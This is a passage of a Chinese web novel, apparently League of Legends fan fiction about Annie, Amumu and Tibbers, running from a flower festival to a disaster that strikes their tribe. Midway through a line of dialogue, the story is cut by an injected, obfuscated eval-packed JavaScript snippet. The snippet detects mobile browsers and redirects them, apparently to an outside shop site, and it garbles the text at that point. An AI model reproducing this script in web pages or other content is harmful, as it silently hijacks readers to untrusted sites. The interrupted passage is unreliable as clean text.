“谁知道呢?或许桔梗比蒲公英先离开呢?” “可是,桔梗不是只能停留在原地吗?” “但是青年还可以祈求紫色蒲公英帮他啊!只要他想离开,总是有办法离开的。哎呀,是我讲的细节太少了,还是凯德阿姨厉害,她……” “安妮,我可以进来吗?” 帐篷外突然多了个人影。 “凯德阿姨快进来!” 安妮招手。 “洗漱完了吗?” “完了完了,凯德阿姨你快讲故事吧!” “你睡衣还没换。” “哎呀不急不急!” 凯德无奈地揉了揉安妮的头发,然后坐到了两人的中间。 “今天想听什么?” 她的声音很轻,温柔亲和,在安静的深夜像有着催眠的魔力。 “太阳!太阳的故事!今天我去晒太阳的时候,感觉光都亮了好多,春天看来不远了吧?” “不远了吗……” 凯德的声音更轻了。 “那我就给你们说说太阳背后的故事吧!” 凯德抬起双手,围绕着一团空气旋转,很快制造出一个圆圆的光团,她举起左手一甩,揉好的光团就顺势飞上帐篷顶。那光团慢慢旋转着,中心突然出现一些黑色。 “太阳虽然看着很亮很亮,但实际上,太阳里也有黑色的部分,那黑色甚至比世界上的任何东西都黑。黑沉沉的,还很冰冷,没有一丝温度。被这样的日光照耀着,只会感觉到不适。” 阿木木心里咯噔一下,紧张地缩了缩手。 光团开始变化,上面映照出黑色的人影。 “这些黑色却并不是来自太阳本身。据说,天上是住着神的,知道世间一切的神。他们通过太阳了解世界上的事,然后再决定是否要动手干预这些事。” “那他们会帮助好人吗?” “他们只会帮助自己。更何况,你能确定通过太阳看到的就是真相吗?很多时候,真相都存在于黑暗之中。” “啊?那这些神有什么用?” “价值是一件不好讨论的东西。” 安妮似懂非懂地点点头。 “怎么样才能不被他们看见呢?” 突兀的声音,带着少年特有的清脆。安妮似乎没想到阿木木会问这个问题。 凯德倒是一脸平静地笑笑:“没有办法吧……或者说,我也不知道。连太阳都被他们利用了,说不定星辰都难逃一劫呢?” “星辰……可以看到黑暗中的真相吗?” “星辰就是黑暗里的亮光,它们总能看到吧?” 安妮焦急地问。 “希望可以吧。”凯德揉了揉安妮凑过来的小脑袋,“看到了又如何?人只会看到自己想看到的,神也不例外。” 安妮还是只能似懂非懂地点头。 凯德挥手将光团打散,一瞬间真像极了星辰。 “好了,该睡觉了,该说什么了?” “凯德阿姨晚安!木木,快说晚安,乖孩子要懂礼貌!” 阿木木跟着轻声回了句晚安。 “晚安,孩子们。”凯德起身,带走了洗漱完的水盆。直到她纤细的身影消失在帐篷外,安妮才把手边随意摆放的提伯斯拿起来。 “那我过去了……” “过去干什么?今晚你就在这里睡!” 安妮直接不由分说地把阿木木拉上床,两人一下子陷进柔软的棉被里。提伯斯挣脱开安妮的另一只手,从深陷的被窝里爬了出来。 “唔……” 阿木木也顶着一头凌乱的碎发坐起来。 “哈哈哈哈!” 安妮想大笑又只能憋着,最后扯出被子,掀开后把阿木木罩进去。 一束暖黄色的光线从枕头下窜出,摇摆了几下,飞进被窝,原来是被女孩攥在了手中。狭小的被子支撑的空间里,两张小小的脸被照得通红。 “嘘……给你看个好玩的。” 安妮竖起一根手指抵在嘴边,另一只手推了推站起来的提伯斯。提伯斯刚从被子沼泽里爬出来,腿都还是软的,这么一推更加找不着北了。 安妮也不着急:“你要是跳得好,我明天就给你多烤一条鱼,一只兔子!” 提伯斯立马站得板板正正,还十分迅速地抬起右手敬了个礼。可惜小短腿是布料做的,靠腿的时候没有声音。 提伯斯敬完礼,开始有节奏地点起头,小圆腿也敲打地面数着节拍。不知道点了几下,提伯斯开始拍手,一边拍一边把手艰难地举过头顶,同时还要转圈。转了两圈,他又叉起腰,左腿伸出去,收回来,右腿伸出去,收回来……提伯斯训练有素地跳着舞,像八音盒上起舞的小人,可惜动作有些笨拙。 “哈哈哈哈,可爱吧!” 跳到最后,提伯斯双手举起拍过来,安妮十分默契地伸出右手和他击掌。 阿木木看着面前娇小可爱的玩偶熊,不敢相信这是之前森林里那只壮得像堵墙的大白熊。 “好了,明天奖励你好吃的!” 安妮说完把提伯斯放在枕头边。 阿木木以为安妮终于要睡了,但他还是嘀咕了安妮的精力。盖上棉被,安妮又开始找话题和阿木木聊天。 “木木,你住在这里习不习惯呀?” “习惯。” “习惯就好,那你喜欢这里吗?” “很喜欢。” 阿木木说的是真心话。这里的人热情友善,凯德阿姨也很温柔体贴,他还结识了一个天真可爱的朋友。最主要的是,今天晚上,他没有感觉到一点点寒冷和惧怕,全身暖烘烘的,一直暖到心底的那种。 安妮似乎笑了笑:“那你可要一直陪着我,不准离开哦!” 阿木木坚定地点头,不过考虑到安妮可能看不到,他又轻声却不失认真地说,“我保证!” 安妮不说话了。阿木木屏住呼吸细细聆听,身边是均匀轻柔的呼吸声。 他看着挂在不远处的睡衣,眼里闪过一丝纠结,最后还是扯了扯被子,闭上眼睛进入梦乡。…… 3. 3 “这是你在这里度过的第一个百花节!当然,严格意义上说也是我的第一个!” 安妮兴奋极了,一大早拉着阿木木要去森林里帮他寻找自己最喜欢的花,只因为阿木木说他不知道自己喜欢什么。 阿木木被拽着,只能亦步亦趋地跟着安妮。穿过熟悉的小径,来到化冰的湖边,提伯斯熟练地变成大熊,钻进树丛开始自力更生。 “你想怎么找?我们一个个看?” 安妮弯下腰,直视着面前坐下的少年。五年过去,他长高了不少,却还是那么腼腆——仍旧喜欢垂着头,让人只有弯腰才能看清他的表情。 阿木木挠着头,支支吾吾:“你先找你的蒲公英吧……” “那个不急。” 安妮喜欢蒲公英,这是在她六岁生日的时候阿木木知道的。 那天,凯德阿姨小心翼翼地捧来一束白色蒲公英,安妮当蜡烛一口气吹飞了,绒絮带着笑声飞了好远。 可惜,她最钟爱的紫色蒲公英只存在于故事里,甚至可能是凯德阿姨编的故事。 好在,白色蒲公英生命力顽强,一年四季都能看到,弥补了安妮的遗憾。 从前,她喜欢抓蝴蝶,玩虫子,找到蒲公英就蓄力一吹,美其名曰帮他们开枝散叶;现在,安妮喜欢守护一株株洁白的花蕊,静静地等待微风接走成熟了的小伞。 而百花节,这个要陪着自己最爱的花朵待上一天的特殊节日,安妮需要找到一朵喜欢的蒲公英,并且一直陪伴它直到第二天。 晚一点找也好,蒲公英太容易被吹散了。 “既然你不知道,那我带你去花最多的地方!” 阿木木于是又被安妮风风火火地拉走。这一次,目的地是无妄森林和无妄边境交界处的小花园。 自然是野生的花园。 因为是野生的,因此到处都盛开着花朵,杂乱的颜色使人眼花缭乱,各种香气夹杂在一起,形成奇怪的平衡。花朵有大有小,有的已经舒展姿态,有的还含苞待放,各有千秋。 “铁菊花每天都在看,想也知道你不喜欢了……” 安妮看着一大簇金黄嘟囔,阿木木悄悄点了点头。 “你喜欢满天星吗?花瓣圆圆的,晚上还能发光,看起来很美!” 安妮第一眼就觉得木木像来自天上的,这遗落凡间的星辰倒是勉强配得上他。 可惜阿木木轻轻摇了摇头:“华而不实,不喜欢。” 是啊,满天星太容易枯萎了,脆弱得一碰就掉光点。 “那……神明子?” 安妮没找到,但如果阿木木喜欢,她不介意帮忙寻找。 神明子是百花之首,就如神明一般,有着最洁白的花瓣,据说花瓣的数量永远是九十九,且在任何时候花朵都散发着柔和的光芒。神明子一朵花只孕育一粒种子,对生长环境要求极高,因此很难找到。 但是神明子也具有象征意义——高贵的象征。 阿木木本能地摇头。 他听凯德阿姨说过神明子的传说,也许安妮不明白,但他知道,那不过是一种工具。 他不是工具。 “那你会喜欢什么……” “那个紫色的是什么?” 阿木木在角落里看到了一朵小小的花。 这朵花并不张扬,花瓣呈水滴状,尖端到花蕊是由深入浅的渐变紫,包裹了一圈花芯,看起来娇小可爱。只是叶子翠绿宽大,边缘还长满锯齿,甚至隐隐有尖刺伸出,□□又短又粗,还有锋利的小倒钩。 安妮凑近了端详:“是桔梗……凯德阿姨之前说过的——那个故事你还记得吗?你第一次来的时候我告诉你的那个?” 阿木木点头。这是安妮第一次展现出对紫色蒲公英的热爱,也让他对另一个配角有了印象。 “居然是桔梗……” 阿木木想到桔梗的花语,心中闪过一丝复杂的情绪。 “你喜欢桔梗?” “不……不算喜欢吧……” 阿木木慌乱地将视线移开,突然定格到一片绿色植物上。 他其实刚刚就有所怀疑了,有一丝若有若无的香气在空中弥漫,使甜腻的花香都变得清冽了许多。他以为那是什么花的芬芳,可是凑近了才发现,桔梗并没有香气,它的周围也没有什么花。所以这香气应该来自身边的植物。 宽大的叶子,边缘像枫叶一样凌乱却锐利。没有花,叶子就这样从大到小围绕枝干堆叠在一起,给人一种荆棘密布的凌厉气势。那香气也很凛冽,凑近了才感觉到带着北风的刺骨,但是立刻让人感觉到神清气爽,好像眼前的世界都一下子清晰了许多。 “你在看什……那是薄荷!” 安妮顺着阿木木好奇的眼神看过去,视线里是熟悉的植物。 “这个就是我们经常拿来泡水喝的薄荷叶子……只是这一簇应该更新换代好几次了,香气有点太浓了。”安妮捂着鼻子凑近,露出得意的笑,“还真没猜错……你看,这些叶子堆得越多,说明年龄越大,看样子这一簇至少三十岁了!虽然不能吃了……但是摘回家可以让凯德阿姨留着,成熟的薄荷叶子味冲了点,但是清热解毒效果很好!” “它们最多能长到多少岁啊?” “唔……不知道,薄荷叶子作用挺多的,移植也方便简单,反正凯德阿姨小菜园里的至少五十了吧。” “真大……” 比他们还大。 安妮赞同地点点头,倒也不觉得有什么。在五百年的寿命面前,十年太微不足道了,无妄森林里随随便便一棵树估计都是他们的长辈。 “我可以带走它吗?” 阿木木拨开宽大的叶子。薄荷的茎也很粗,但是即使已经成长几十年,仍旧只有一些柔软的绒毛覆盖在茎叶上,摸起来一点也不扎手。 “你拿他们干什么?” 又不能吃。 “我挺喜欢它的。” ? 安妮傻眼了。 “我们才看一小会儿,不着急,你要不再找找吧……” “不用了,薄荷挺好的。” 五年时间说短也不短,安妮几乎是将所有知道的花草动物都给他说了一遍,即使有些不专业,凯德阿姨也会补充上。阿木木大概也知道到底有哪些花了。 “可是薄荷不是花呀……” 安妮纠结地皱着眉,四处张望。 “你看这个迎春花怎么样?不对不对……一看你就喜欢叶子大的……” “荷叶伞,荷叶伞怎么样?叶子可大了,花还是粉粉嫩嫩的,多长几株,远远看过去跟个小池塘一样!” “和荷花太像了。” “那荷花呢?你喜欢吗?” “颜色太鲜艳了。” “夜美人也是紫色的,花瓣还一层一层向上长,和长裙子一样好看!” “太妖艳。” “含羞草?叶子能大能小……不对这个也是草……那胆小花?” 阿木木失笑:“虽然说是百花节,但只要是植物应该就可以了吧?” 安妮被美色所惑,很没出息地愣着点了点头。 “那你到底是为什么,喜欢薄荷?” 之前说铁菊花他们天天喝,木木应该不喜欢,他明明点头了。虽然薄荷水他们不是经常喝,但是不也是吃的嘛…… “它……挺好看的,还挺香。” 虽然没有花,但是对环境要求也就不高,移植容易成活。不仅香气沁人心脾,提神醒脑,泡的水还能够清热解毒。 不是花又怎样。 安妮知道木木是半天也闷不出几句话的,也就没硬拉着他讲下去。 “既然选好了,那我们去找蒲公英吧!不过今年我可不要白色蒲公英,我要黄色的!” “黄色?” “是啊!阳光,活泼,开朗,热情,可比那个傻白傻白的纯色蒲公英有意味多了!” 阿木木头顶黑线,只觉得安妮这喜好变得也太快了。 不过他还是配合地开始搜寻黄色蒲公英的身影。 春天,最多的就是金黄的铁菊花,漫山遍野都能看到它们的踪影,同样金黄的蒲公英就显得格外难找。安妮只走了一小会儿,就熬不住了,坐在草地上一边休息一边思考。 “凯德阿姨说黄色蒲公英金灿灿雾蒙蒙的,可比这些菊花好看多了,一定也很显眼才对啊!” “再显眼,那也是金黄的。” “啊——” 安妮一头栽倒在软绵绵的青草上,张开双臂和双腿,享受柔和的阳光。 “你说金黄色的蒲公英喜不喜欢太阳?它们该是在山顶上还是应该在山坡?” “山顶吧……不是说它象征着阳光吗?” “那我怎么找得到……” 安妮嘟囔着,闭上了眼睛。阿木木看着手上的薄荷发呆。 两人相顾无言,就这么休息着。阿木木早就习惯了安妮懒散的模样,也不着急着催她。安妮或许已经忘记了,但阿木木还记得,凯德阿姨当初说过,黄色蒲公英喜光,一般草原上也能找到,而且是一簇一簇的很容易发现。 微风吹拂,带着春天的暖意。前几天才下了雨,远离帐篷的地方没有避水咒,空气中漂浮着潮湿的水汽,就像置身在朦胧梦幻的仙境里,温暖得刚刚好。这样的天气,也难怪安妮都贪睡了。 阿木木嗅着清凉的薄荷,倒没有睡意。 这个天,蒲公英也该成熟了吧?要是有绒絮飘过来,也能指个方向。 “啊啾!” 躺在地上的安妮突然坐起身揉了揉鼻子,然后盯着自己的手指没了动静。 一旁的阿木木眨眨眼,目光聚焦,才发现清风送来了许多金黄色的小伞,在日光下忽隐忽现,柔和美丽。 “木木!你看!这个是不是黄色蒲公英?” 安妮凑到阿木木面前,把手指上的东西展示出来。阿木木仔细看了一会儿,才反应过来那条短短的黄色的线是被安妮揉搓压缩后的蒲公英种子。 “是从那边飞来的。” 阿木木指了个方向。 安妮立刻起身,拍拍手上的灰尘,拍掉裙子上的泥土和草叶,拉着阿木木追过去。 她迎着金黄色蒲公英飞来的方向奔跑着,蓝色长发在微风中扬起,如同流动的溪水,在阳光照耀下变得波光粼粼。 很快,面前的少女就找到了被吹散一大半的蒲公英。 尽管如此,她还是不厌其烦地挑选、对比,最后心满意足地找到自认最完美的花,护在怀里小心翼翼地带回家。 “凯德阿姨,我找到黄色蒲公英了!” 安妮带着小花激动地找到凯德。她正在织毛衣,身边围了两个小孩子,正对坐着玩石头。看见是安妮来了,凯德放下半成品,把两个被惊扰的小孩子挥手打发走了。 “速度真快!”凯德轻轻触碰了一下安妮递过来的黄色小花,“真好看,像一颗星星——木木找到喜欢的花了吗?” “找到了,但也没找到!” “哦?什么意思?” “嘿嘿,你还是自己看看吧。” 安妮把木木推过去,阿木木只能拿出手里攥了很久的薄荷叶子。 “这味道……是薄荷?” “是呀,明明是百花节,木木非要选个草叶子。” “扑哧,你这话又该得罪人了。” “木木才没有那么小气呢!” 安妮吐舌,阿木木只能纵容地笑了笑。 “好了,还不赶快去洗手?晚了弗洛又该说你了。还有木木,没猜错的话,你又把人家的手蹭脏了吧?” “才没有……” 安妮嘴上不承认,还是很诚实地拉走了阿木木。 “凯德阿姨居然没说你,真是……” 安妮想说“奇迹”,但一想到凯德阿姨温柔宽容的性格,她又觉得阿木木就是拿块石头去都不会被说。 阿木木的回答是对着安妮清浅一笑。 “真犯规……也不知道你到底……” 安妮一个人嘀嘀咕咕,阿木木没有太听清。 其实洗手也没用的,安妮洗了手很快也会弄脏。果不其然,这水还没用呢,安妮就开始想点子了,她想把花种到盆子里,然后用冰存起来。 “你不累吗?” 阿木木不会使用灵力,凯德阿姨也说了他现在不是学习的时候,所以他不知道安妮这种天生会灵力的人使用灵力到底累不累。 很明显安妮精力充沛着呢。 不过最后安妮还是没做成,因为凯德阿姨说百花节选的花是要用琼脂凝固的,不用冰灵力也可以储存好久。 琼脂是无妄森林里一种皮滑溜溜的粗壮大树体内的黏液,安妮之前有幸触碰过一次,那种手粘在一起分都分不开的感觉她不想体验第二遍。不过由于可以让凯德阿姨手把手教学,安妮很没出息地妥协了。 “很简单,你看……” 柔和的灯光下,安妮看凯德将手里的花朵轻轻摘下来,用琼脂自上而下浇灌好,然后用灵力把模型放在空中揉捏。 一个心形的立体琥珀做好了,外表是棕黄色的透明水晶,内里的花朵静静沉睡,清晰得可以看到花瓣上的纹路。 安妮看着暖色灯光中凯德阿姨柔和的眉眼,觉得手里的黄色蒲公英似乎应该送给她。 更适合她。 “是这样吗?” 阿木木也开始摆弄琼脂的造型,但是没有使用灵力捏造的琼脂外形显得有些粗糙,尤其手上还粘了不少黏稠的琼脂。 凯德轻轻接过快凝固的琼脂,帮他塑造起形状。 “你要什么形状?” “我想……要‘木’字。” 于是很快,阿木木得到了一个充满绿色薄荷的“木”字琥珀。苍翠的颜色和这个字的意境完美配合,薄荷的香气还没有散去,看起来厚重又淳朴。 安妮在一旁看了两遍,早就跃跃欲试,但是她不知道自己应该做成什么样子。 爱心?太没新意了。 名字?她的名字太复杂了,而且没有连在一起。 熊?都有那么多熊了,这次怎么又要做熊…… “想不到形状吗?” 凯德阿姨总是那么善解人意。 “那为什么不干脆做一株蒲公英呢?” “蒲公英?”安妮反映了一瞬,很快明白了过来。 是啊,蒲公英中的蒲公英,简直太有创意了! 而且琼脂也算是黄色的。 “光明中的光明,一定不会再接触黑暗了。” 凯德微笑着,安妮不太明白她的意思,但还是赞同地点头。 “能做好吗?” “当然能!” 安妮对灵力的控制天赋足以支撑她随意折腾柔软的琼脂。 帐篷里,模糊的影子坐得挺直,两只手如蝴蝶一般翻飞,空中那块不规则的黑团逐渐变成一株盛放的蒲公英。栗色长发的女人站在帐篷外,和前面仅一步之遥的男人同时舒展了眉头。 “弗洛,她真的做到了。” “或许正如她所说的那样,这个世界,没有天生的黑暗。” 夏天的日光最毒辣,晒得人头晕目眩也不会收手。这是安妮有史以来遇到的最热的夏天,于是夜晚的凉爽显得如此可贵。 安妮抱着半个圆圆的大西瓜吃得起劲,一旁的阿木木虽然比她还高,面对这半个西瓜却显得手足无措。 “吃啊,夏天的冰西瓜最解暑了,我还给你加了冰!” “咳咳……我不太热。” 虽然不知道为什么,但是他好像对冷热没什么感觉。当初大冬天的不爱穿袄裤,还被凯德阿姨说了一顿。 “你不吃算了!” 安妮拿过纹丝未动的西瓜,冰刀挥舞,唰唰几下切成几瓣。 凯德阿姨现在应该还在火堆边给小孩子讲故事,这西瓜给谁呢……安妮不过想了一会儿,就端着西瓜往弗洛的帐篷跑。 “我给妈妈送西瓜,你在这里等等!看好提伯斯!” 阿木木看着吃西瓜吃得起劲的玩偶,心道自己恐怕看不住仅剩的西瓜。 安妮端着盘子吭哧吭哧地跑着,临近帐篷,却突然改了主意。她站在黑暗中调整好呼吸,声音尽力放到最低,然后弯下腰,弓着背,踮起脚,专挑草少的光秃地点踩,一步一步靠近帐篷。她的两只眼睛扫视着,到处寻找弗洛的身影。 “薄弱了……加强恐怕来不及了。” 是妈妈! “怎么会这样?之前不是好好的吗?” 爸爸的声音…… “可能这个才是真正的黑暗年。” 沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119471|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默。 安妮感觉气氛有点不对。 “要不……” “妈妈!” 安妮取消了吓人的计划,大大方方走出来,脸上带着熟悉的笑容。凯德阿姨说偷听不是好孩子,非礼勿视,非礼勿听。 弗洛似乎还是被吓了一跳,不过很快放松下来:“怎么了安妮?是来给我们送西瓜的吗?” “嗯!我加冰了哦!” “谢谢,好孩子……” 塞弗勒斯单手接过盘子,揉了揉安妮的小脑袋瓜。 “那……我先走了,你们聊……” 安妮背着手往后退一步,正要转身,弗洛突然喊住了她。 “安妮!” “嗯……怎么了?” “你有听到什么吗?妈妈有没有吓到你?” “没有,我没被吓到。” “那就好,快去玩吧。” 弗洛笑得有些勉强,温柔地抚摸了下安妮的发顶。 安妮笑着回应,转身快步地离开了。黑暗的四周,背光行走的安妮脸上的笑容渐渐凝固,和弗洛一样勉强。 阿木木是第一个发现安妮不对劲的。 她今天没有吵着让凯德阿姨将故事讲完。 “你怎么了?” “我没怎么啊?” “你在骗我。” 安妮不擅长骗人,她一紧张就爱背着手搓衣角。 果然,阿木木看见安妮虽然坐着,手上却揪着被子揉个不停。 安妮眨眨眼睛,眼里的快乐在闭合间覆盖上一层一层的悲伤和不安。 “我……我不知道……我有些担心……” 她也不知道怎么了,就是心里闷闷的,好像被一只大手攥着,偶尔无法呼吸。她不是第一次听到妈妈和爸爸的对话了,可是这一次,就很慌,很难受……是有什么不好的事情要发生了吗? 阿木木的眼眸里,倒映着安妮局促不安的身影。这景象逐渐和记忆深处的自己重叠,让他好像回到了当初被窥伺感觉包围的那几晚。 “你是不是……有一种被盯着的感觉?” “你怎么知道?” “……” 冰冷、阴暗、恐惧、不安、迷茫……这些感觉像烟雾一样缠绕在身上,像影子一样紧跟在身边,随着呼吸进入五脏六腑,揪紧了心脏,加速了血液流动,使大脑一阵混乱,甚至让肠胃痉挛,可是又很快散去,如此重复…… 明明是在暗处看着别人,却感觉身后的黑暗中有另一双眼睛看着自己。 前面是未知,后面也是未知。 “木木……我害怕。” 有什么要变了。 “别怕……” 其实,他也怕。 谁不怕呢? 连光明都是刺目得吓人的。 “凯德阿姨。” “嗯?木木?安妮没和你一起吗?” 她记得他们可是形影不离的。 “没有,我有些问题,想单独问……您。” “坐吧。” 凯德放下手里的篮子,席地而坐,阿木木干脆利落地坐到凯德身旁。 “有什么问题吗?” “凯德阿姨,你能感觉到吗?有什么在变。” “变?”凯德似乎被这个问题惊异住了,“这个世界一直都在变。一年四季,哪怕是天气每天都是不一样的。也许在你的眼中,你面前的小草毫无变化,可是第二天也许它就长高了,也许它就不见了……” “不。”阿木木打断凯德的回答,这是他第一次这么严肃,“凯德阿姨,请别拿你糊弄小孩的那套说辞打发我。” “怪不得你会和安妮玩到一起。真是拿你没办法。” 看阿木木每天呆在安妮身边宠着她,凯德都要忘记这个少年眼底深藏的犀利了。 阿木木没说话,凯德就当他默认了。 “所以,你想问什么在变?” “为什么天气越来越阴晴不定,太阳的光越来越刺目,白天越来越长……” “因为夏天到了。” “那为什么,弗洛阿姨消失得越来越频繁,族人们越来越焦躁不安,……您,越来越沉默寡言?” 凯德失语了。 “也是因为夏天吗?” 当然不是。 “你越来越不像当初那个单纯天真的孩子了。” 阿木木没有否认,他想,如果当初的他也是这样一双眼眸的话,也许凯德不会答应收留他,还纵容他和安妮在一起。 “你有过被窥伺的感觉吗?”凯德刚问完,就突然停下,“不对,和你说也没用,你不是我们的族人。” “没事,你就当我是。” 因为他知道这种感觉。 “这感觉不是说就能说出来的。”凯德失笑,那笑里却满是无奈,“好了,你只要知道我们的任何灾难都不会连累无辜的人就好了。” “安妮也是无辜的人吗?” “不……她是……”凯德没有看阿木木,她怕在如今的少年面前藏不住任何情绪,“行了,你回去吧。安妮是个好孩子,她会被保护的。” 阿木木听出来了,是保护不是保佑,是被人保护,不是被神保佑。 “凯德阿姨,我可以做些什么?” “现在知道叫我阿姨了?” “……” “顺其自然吧……”凯德撑着草地看着远方,还是淡然温柔的神色。她的长发在微风中轻舞,明明是慵懒的场景,阿木木却只感觉到一种生命将逝的悲伤。 他就是见证者。 仅此而已。 夏天越来越热,安妮只觉得帐篷里闷得像在蒸包子。只有无妄森林的湖边还算清凉和潮湿,早晨的青草难得是软软的凉凉的。 “好困啊……” 春天已经过去了,可是安妮却更容易犯困了,大概是晚上睡得不太好。 阿木木还是精神抖擞的样子,外界的一切似乎都影响不了他分毫。 安妮一边揪着已经变得刺挠的草尖,一边漫无目的地发着呆。不知道为什么,来到这里,有一种逃离了牢笼,同时脱离了保护的感觉。过去的安妮也孤独,可是望着天边的太阳,会想待会儿回家的时间要多长。 她现在却在想,还可以拖延多久。 “木木,你说我到底在害怕什么?” “最可怕的就是,不知道自己在害怕什么。” 唉,可能是凯德阿姨说的忧郁期到了吧,虽然她似乎来得有点早——但谁叫她早熟呢?这是凯德阿姨说过的。 安妮,没什么可害怕的,生活还是一样美好,是你太敏感了。 这么想似乎好多了。 “吼吼……” “真是的,你怎么这么能吃!” 身边有只大笨熊,是不可能长久地难过下去的,安妮没什么起身的动力,挥手让提伯斯自己觅食去了。 现在的他已经不会琢磨逃跑了,毕竟怎么说都是和她待在一起比较幸福。 阿木木坐在安妮的身边,看着她挥手完又躺下,似乎准备睡觉。他终于还是没忍住。 “安妮,如果……我是说如果,凯德阿姨她们都离你而去了,你会怎么办?” “你怎么也和那些小孩子一样,问些无聊的问题?” 安妮“噌”地坐起来,细细端详面前的人。 他还是一双如水的淡然星眸,幽深苍翠,长长的睫毛轻轻扑闪着,掩盖下明亮的光。那双眼睛里多了很多复杂的情绪,但仍旧纯净澄澈。 ——没有变傻啊。 阿木木被看得不好意思,别开微红的脸。 “我就是心血来潮,问问。” “没什么好问的,那些傻子只知道哭,我可不一样。” “不一样?” “凯德阿姨是不会主动离开我的,既然如此,我把带走她的因素消灭不就好了?” 阿木木看着天真却认真的安妮,一时不知道怎么接话。其实早从安妮面不改色地刮鱼鳞,剥兔子的时候,他就该知道的。 “天黑前叫醒我哦,好困~” 安妮打了个哈欠,躺下睡觉了。 阿木木看着面前的人躺下,水蓝色的头发散落,像清澈的潭水。这么沉静的颜色,为什么会出现在这样一个炽热如火的人身上? 4. 4 还是夏天。 热,令人不安的燥热。 潜伏在地下的生物不再蛰伏,不再蠢蠢欲动。它们露面了,迎着烈日张牙舞爪,龇牙咧嘴。 蝉声聒噪至极,是生命最后的嘶鸣。 这样的天气,足以让一切好心情化为浓烟消逝。 安静。 只有热浪翻滚的声音。 草籽在高温的蒸腾下碎裂,清脆的声音此起彼伏。 安妮没找到阴凉的地方,只是勉强坐在一棵大树下,躲避锋利的阳光。 缝隙透出的火焰在皮肤上跳跃、聚焦、灼烧。 春末……这个天气很不对,可是安妮不敢问,甚至不敢留在帐篷外听妈妈和凯德阿姨的推测。 疲累悄无声息地升温,一连串的紧张已经让她的大脑发出最后通牒。 “安妮,别太勉强自己。” “我睡不着。” 不是不累,是睡不着。 阿木木心疼地靠近安妮,让她沉重的脑袋靠在自己肩膀上。他轻缓地拍打着安妮的后背,绞尽脑汁想着安慰的话语,可是他不知道有什么词语可以减轻这样的痛苦,这未知的痛苦。 “滴答……” “滴答……” 阿木木突然感觉手背上的一处一瞬间冰凉,带着湿润。 “下雨了?” 安妮坐起身,把手伸出去,接住滴落的雨水。 “嘶……” 手就像触碰到火焰一般被迅速灼烧了一下,接着腐蚀的疼痛感传来,像蚂蚁在啃食皮肉。 “滴答……” 又是几滴雨水,落在安妮的衣服上、腿上,布帛撕裂的声音传来,被雨水沾染的地方多了几块焦黑。 “是酸雨!” 腿上的疼痛也清晰起来,安妮立刻把提伯斯变回布偶,一只手施展冰灵力遮挡,一只手拉着阿木木往部落奔跑。 “快回部落,那里安全!” 部落有防护罩在,酸雨是腐蚀不了的。 然而跟在后面的阿木木眼中却溢满担忧。 “轰隆!” 之前还万里无云的天空突然多出来成片的漆黑乌云,酸雨倾泻,夹杂着刺目的闪电和震耳的雷声。安妮被闪得头晕目眩,只能更快速地往部落跑。 “嘶啦!” 闪电呼啸,就好像在头顶炸开。不详的气息弥漫,金黄的蟒蛇睁着闪电的竖瞳,对眼中映出的大地虎视眈眈。雷声随之而来,轰鸣声越来越大,一下一下打在安妮心上。 紧张得只听见耳边呼啸的风声和在脑中回响的雷声。 奔跑。 然而迎面而来的,是只大不小的雨丝,在狂风中飘摇,越来越猛烈,直至——倾盆而下。 “怎么回事……” 安妮顿住了。 面前是成片的帐篷,或黄或白,却都染上焦黑。雨块如同冰雹,砸在无形的护盾上,“噼里啪啦”响个不停。族人们竭尽全力维持护罩的完好,然而仍旧有漏网之鱼不断钻入,腐蚀触碰到的一切。曾经安妮以为坚不可摧的堡垒正被一点点瓦解…… “安妮,快过来!” 凯德一把将安妮拉入保护圈内部。 “凯……” “嘶啦!” 是闪电! 潜伏已久的闪电! 金色的巨蟒呼啸着冲向安妮,庞大的身躯砸在护罩上,“噼里啪啦”的声音瞬间迸射!还有族人们的惊呼、痛哭……一击毙命,巨大的光芒炸裂,粉碎了面前的一切。 “轰隆!” 惊雷似乎在为金色巨蟒即将收获的成功奏乐。 “噼啪……” 雨块如同冰雹,砸在帐篷上,掀翻了木棍布料;砸在地上,把草烧成灰烬,留下大大小小的土坑;砸在人身上,灼烧、腐烂、剧烈的疼痛…… “安妮!” 凯德紧紧抱住面前怔愣住的人。 “凯德阿姨……” 怎么了?这是怎么了? 混乱,死亡,好像都只发生在一瞬间。酸雨还在一盆盆倾倒,金色的巨蟒还在疯狂地吞噬一切。 “滋啦……” 是被腐蚀的衣服和皮肉在溶解…… “弗洛!” 是爸爸! 爸爸会力挽狂澜的! 一定会的! 那个高大的身影披着残破的斗篷屹立于狂风暴雨中,手里是闪着幽深光芒的紫色权杖。 他缓缓举起权杖,默念咒语,弗洛紧跟其后,双手交叠放在胸前,紫色的神秘宝石和权杖的光芒交相辉映。 在阴风呼啸中,他们顶着酸雨闪电,凝聚起庞大的力量…… “嘶啦!” 天道似乎有所察觉,再次降下巨大的闪电! “撑住!” 暗紫的结界诡异危险,在如今却成为救命的唯一稻草。族人们忍着剧烈的疼痛共同吟诵起诡秘的咒语,力量汇聚在上空…… “嘶啦!” 又是一道闪电! 塞弗勒斯高举的右手剧烈颤抖着,几乎承受不住要跪下。然而他的身后还站着弗洛,站着凯德,站着无数他的追随者,他的亲人…… “嘶啦!” 塞弗勒斯喷出一口鲜血,剧烈颤抖的身体上皮肉翻飞。弗洛流着泪接过他手中的权杖,然而…… “嘶啦!” 权杖断裂。 弗洛承受不住地跪倒在塞弗勒斯面前,同样落下的,还有此起彼伏的尖叫。 “不要!小石头!” 是部落最调皮的那个孩子,被闪电吞噬了。 “莫尔!” 是做针线最厉害的阿姨,曾经给她补过衣服。 “救命!” 是三个孩子的母亲。 悲痛在蔓延,生命却仍在流逝。上一秒还在为亲人离去悲痛万分的人,下一秒再次沦为猎物。屠宰场里,只有一条条金色蟒蛇穿梭,所到之处,寸草不生。 “住手!” 面前的一切都模糊了,然而夺目的光芒却一次次降下,在黑暗中如此闪耀。安妮竭尽全力抵挡,却只是徒劳。 “嘶啦!” “安妮!” 